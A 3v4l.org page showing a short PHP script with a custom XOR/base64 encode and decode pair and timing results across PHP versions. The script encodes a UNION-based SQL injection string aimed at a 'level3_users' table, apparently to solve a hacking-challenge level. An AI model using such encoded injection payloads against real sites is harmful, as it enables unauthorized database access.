3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' ' UNION SELECT 1,2,3,4,5,6 FROM level3_users WHERE Username=Admin#"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0040.01119.04
8.3.30.0110.00818.80
8.3.20.0040.00418.85
8.3.10.0040.00421.18
8.3.00.0040.00423.52
8.2.170.0120.00322.96
8.2.160.0030.01222.21
8.2.150.0080.00024.18
8.2.140.0000.00824.66
8.2.130.0060.00326.16
8.2.120.0070.00721.23
8.2.110.0030.00720.52
8.2.100.0120.00018.03
8.2.90.0040.00419.22
8.2.80.0050.00317.97
8.2.70.0060.00317.75
8.2.60.0030.00517.93
8.2.50.0060.00318.07
8.2.40.0060.00318.34
8.2.30.0000.00721.29
8.2.20.0030.00617.89
8.2.10.0050.00317.86
8.2.00.0050.00317.99
8.1.270.0000.00823.99
8.1.260.0050.00326.35
8.1.250.0030.00528.09
8.1.240.0100.00022.58
8.1.230.0080.00321.09
8.1.220.0000.00918.77
8.1.210.0000.00919.08
8.1.200.0030.00617.60
8.1.190.0040.00417.54
8.1.180.0040.00418.10
8.1.170.0030.00618.76
8.1.160.0050.00318.87
8.1.150.0070.00018.78
8.1.140.0030.00617.64
8.1.130.0030.00317.81
8.1.120.0000.00917.61
8.1.110.0000.00717.61
8.1.100.0000.00717.54
8.1.90.0040.00317.67
8.1.80.0000.00817.55
8.1.70.0030.00317.66
8.1.60.0060.00317.67
8.1.50.0000.00717.63
8.1.40.0000.00917.59
8.1.30.0030.00517.85
8.1.20.0080.00017.85
8.1.10.0030.00617.73
8.1.00.0000.00817.59
8.0.300.0000.00820.01
8.0.290.0050.00217.04
8.0.280.0000.00718.42
8.0.270.0040.00417.32
8.0.260.0040.00417.02
8.0.250.0050.00317.15
8.0.240.0060.00317.14
8.0.230.0070.00017.14
8.0.220.0000.00817.00
8.0.210.0080.00017.03
8.0.200.0000.00617.16
8.0.190.0000.00817.15
8.0.180.0050.00317.05
8.0.170.0040.00417.01
8.0.160.0050.00217.15
8.0.150.0050.00216.93
8.0.140.0040.00417.09
8.0.130.0000.00613.43
8.0.120.0050.00317.07
8.0.110.0070.00016.90
8.0.100.0050.00217.15
8.0.90.0000.00716.95
8.0.80.0060.00917.03
8.0.70.0090.00017.03
8.0.60.0050.00317.13
8.0.50.0000.00816.97
8.0.30.0120.00717.21
8.0.20.0120.00617.44
8.0.10.0000.00817.03
8.0.00.0110.00716.93
7.4.330.0000.00514.97
7.4.320.0030.00316.77
7.4.300.0040.00416.76
7.4.290.0040.00416.75
7.4.280.0000.00716.88
7.4.270.0000.00716.76
7.4.260.0030.00313.44
7.4.250.0000.01016.74
7.4.240.0030.00316.62
7.4.230.0030.00316.51
7.4.220.0070.01816.65
7.4.210.0030.01116.82
7.4.200.0040.00416.88
7.4.190.0020.00516.85
7.4.160.0130.00716.83
7.4.150.0070.01117.40
7.4.140.0130.00717.86
7.4.130.0070.01116.60
7.4.120.0090.00816.71
7.4.110.0060.01316.88
7.4.100.0090.00916.64
7.4.90.0060.01116.66
7.4.80.0130.00619.39
7.4.70.0110.01116.69
7.4.60.0130.00816.61
7.4.50.0000.00916.86
7.4.40.0070.00722.52
7.4.30.0120.00816.71
7.4.00.0030.01415.18
7.3.330.0030.00213.37
7.3.320.0040.00413.55
7.3.310.0020.00516.46
7.3.300.0030.00316.63
7.3.290.0120.00316.64
7.3.280.0090.01016.55
7.3.270.0130.00417.40
7.3.260.0070.01318.24
7.3.250.0070.01116.70
7.3.240.0110.00516.62
7.3.230.0120.00516.89
7.3.210.0150.00316.59
7.3.200.0180.00419.39
7.3.190.0080.00816.60
7.3.180.0100.00716.89
7.3.170.0110.00716.60
7.3.160.0070.01016.41
7.3.120.0100.00715.29
7.3.10.0000.01316.82
7.3.00.0100.00616.92
7.2.330.0200.00316.93
7.2.320.0090.00916.93
7.2.310.0110.00816.82
7.2.300.0110.00716.92
7.2.290.0130.00916.84
7.2.130.0130.01017.15
7.2.120.0100.00716.91
7.2.110.0080.00817.13
7.2.100.0070.01017.15
7.2.90.0060.01016.93
7.2.80.0040.01517.00
7.2.70.0080.00817.22
7.2.60.0000.01217.15
7.2.50.0060.00917.24
7.2.40.0100.00316.69
7.2.30.0030.00917.26
7.2.20.0060.00817.04
7.2.10.0100.00317.08
7.2.00.0040.01218.51
7.1.250.0080.00816.10
7.1.100.0060.00618.62
7.1.70.0040.00417.48
7.1.60.0120.01219.40
7.1.50.0070.01517.33
7.1.00.0070.03022.46
7.0.200.0040.00417.09
7.0.140.0000.07722.04
7.0.70.0070.06721.79
7.0.60.0130.07721.88
7.0.50.0170.06722.13
7.0.40.0070.08720.08
7.0.30.0030.08720.09
7.0.20.0100.07020.04
7.0.10.0030.09020.07
7.0.00.0030.08720.04
5.6.280.0000.07720.87
5.6.220.0030.06020.68
5.6.210.0170.07020.46
5.6.200.0070.08720.97
5.6.190.0070.06721.09
5.6.180.0100.07021.04
5.6.170.0030.09021.10
5.6.160.0100.04321.09
5.6.150.0100.08021.08
5.6.140.0030.08321.02
5.6.130.0070.06720.89
5.6.120.0130.07020.95
5.6.110.0100.08321.00
5.6.100.0130.07021.02
5.6.90.0030.08321.03
5.6.80.0070.07720.36
5.6.70.0100.07720.50
5.6.60.0130.06720.40
5.6.50.0030.07720.45
5.6.40.0070.08320.41
5.6.30.0000.05320.38
5.6.20.0170.06720.30
5.6.10.0070.07320.39
5.6.00.0070.08020.41
5.5.360.0030.07320.36
5.5.350.0030.05720.35
5.5.340.0100.08020.84
5.5.330.0030.07320.81
5.5.320.0070.07320.93
5.5.310.0030.08720.78
5.5.300.0100.08020.84
5.5.290.0070.07720.79
5.5.280.0100.06720.80
5.5.270.0100.07020.90
5.5.260.0100.07320.89
5.5.250.0000.08320.62
5.5.240.0000.05720.31
5.5.230.0100.08720.30
5.5.220.0030.08020.14
5.5.210.0100.06720.23
5.5.200.0100.05020.27
5.5.190.0070.08020.28
5.5.180.0030.08320.00
5.5.160.0030.04020.27
5.5.150.0070.07020.24
5.5.140.0130.08020.28
5.5.130.0100.07720.24
5.5.120.0100.07320.24
5.5.110.0030.07720.12
5.5.100.0000.04320.18
5.5.90.0130.07320.16
5.5.80.0070.07020.05
5.5.70.0070.07019.98
5.5.60.0070.07720.17
5.5.50.0070.05720.04
5.5.40.0000.08020.09
5.5.30.0130.04720.15
5.5.20.0070.07720.07
5.5.10.0000.08019.95
5.5.00.0030.05020.11
5.4.450.0130.07719.36
5.4.440.0100.07319.55
5.4.430.0070.07719.45
5.4.420.0030.08019.21
5.4.410.0030.05719.33
5.4.400.0170.06719.04
5.4.390.0030.05318.95
5.4.380.0070.07319.04
5.4.370.0000.06319.23
5.4.360.0070.07719.07
5.4.350.0000.07719.05
5.4.340.0070.07319.03
5.4.320.0070.07718.95
5.4.310.0030.06719.14
5.4.300.0100.07018.90
5.4.290.0100.06719.07
5.4.280.0030.05719.04
5.4.270.0030.06719.03
5.4.260.0030.07019.03
5.4.250.0100.07019.05
5.4.240.0000.07719.12
5.4.230.0070.07319.12
5.4.220.0070.05319.04
5.4.210.0030.05719.20
5.4.200.0070.07019.22
5.4.190.0070.06018.93
5.4.180.0000.08019.03
5.4.170.0030.07019.17
5.4.160.0070.07319.01
5.4.150.0100.06019.02
5.4.140.0070.07016.39
5.4.130.0030.07716.39
5.4.120.0030.07316.40
5.4.110.0030.07316.54
5.4.100.0100.07316.55
5.4.90.0130.06716.55
5.4.80.0100.05716.38
5.4.70.0000.05716.31
5.4.60.0100.07016.41
5.4.50.0000.06016.33
5.4.40.0000.08316.35
5.4.30.0100.06716.41
5.4.20.0070.07016.33
5.4.10.0000.07716.33
5.4.00.0000.04715.79
5.3.290.0000.05014.79
5.3.280.0100.06714.66
5.3.270.0130.04714.54
5.3.260.0070.06714.55
5.3.250.0070.07314.66
5.3.240.0070.07314.58
5.3.230.0030.07014.63
5.3.220.0030.04314.63
5.3.210.0030.07314.71
5.3.200.0030.04714.59
5.3.190.0030.06014.53
5.3.180.0030.04014.59
5.3.170.0030.08314.63
5.3.160.0070.06014.50
5.3.150.0070.08014.56
5.3.140.0070.07314.63
5.3.130.0130.07014.48
5.3.120.0070.07314.49
5.3.110.0030.08014.67
5.3.100.0070.05714.10
5.3.90.0030.07313.96
5.3.80.0030.07014.02
5.3.70.0100.06014.09
5.3.60.0000.06013.94
5.3.50.0070.05313.96
5.3.40.0030.07713.98
5.3.30.0030.07714.04
5.3.20.0030.05713.70
5.3.10.0030.07313.65
5.3.00.0070.04713.73
5.2.170.0030.06011.16
5.2.160.0070.06311.21
5.2.150.0000.06311.23
5.2.140.0030.06311.23
5.2.130.0070.06011.12
5.2.120.0030.06011.01
5.2.110.0070.06011.13
5.2.100.0100.04011.17
5.2.90.0030.06311.02
5.2.80.0070.04011.13
5.2.70.0000.04711.21
5.2.60.0030.05311.08
5.2.50.0100.05710.99
5.2.40.0000.06310.99
5.2.30.0030.06311.02
5.2.20.0070.05011.11
5.2.10.0000.06310.99
5.2.00.0030.05710.99
5.1.60.0030.05010.99
5.1.50.0030.05310.99
5.1.40.0070.04710.99
5.1.30.0030.05010.99
5.1.20.0030.05310.99
5.1.10.0030.04310.99
5.1.00.0030.05710.99
5.0.50.0030.04310.99
5.0.40.0030.04310.99
5.0.30.0000.04310.99
5.0.20.0030.04310.99
5.0.10.0000.04710.99
5.0.00.0000.07010.99
4.4.90.0030.03310.99
4.4.80.0070.03010.99
4.4.70.0000.03710.99
4.4.60.0030.02710.99
4.4.50.0000.03710.99
4.4.40.0000.04010.99
4.4.30.0070.03010.99
4.4.20.0000.03710.99
4.4.10.0030.03310.99
4.4.00.0030.05310.99
4.3.110.0000.02710.99
4.3.100.0030.03010.99
4.3.90.0000.03310.99
4.3.80.0030.04710.99
4.3.70.0030.03310.99
4.3.60.0070.03010.99
4.3.50.0000.02710.99
4.3.40.0000.05710.99
4.3.30.0000.04010.99
4.3.20.0000.04010.99
4.3.10.0000.03310.99
4.3.00.0000.03310.99

preferences:
46.28 ms | 400 KiB | 5 Q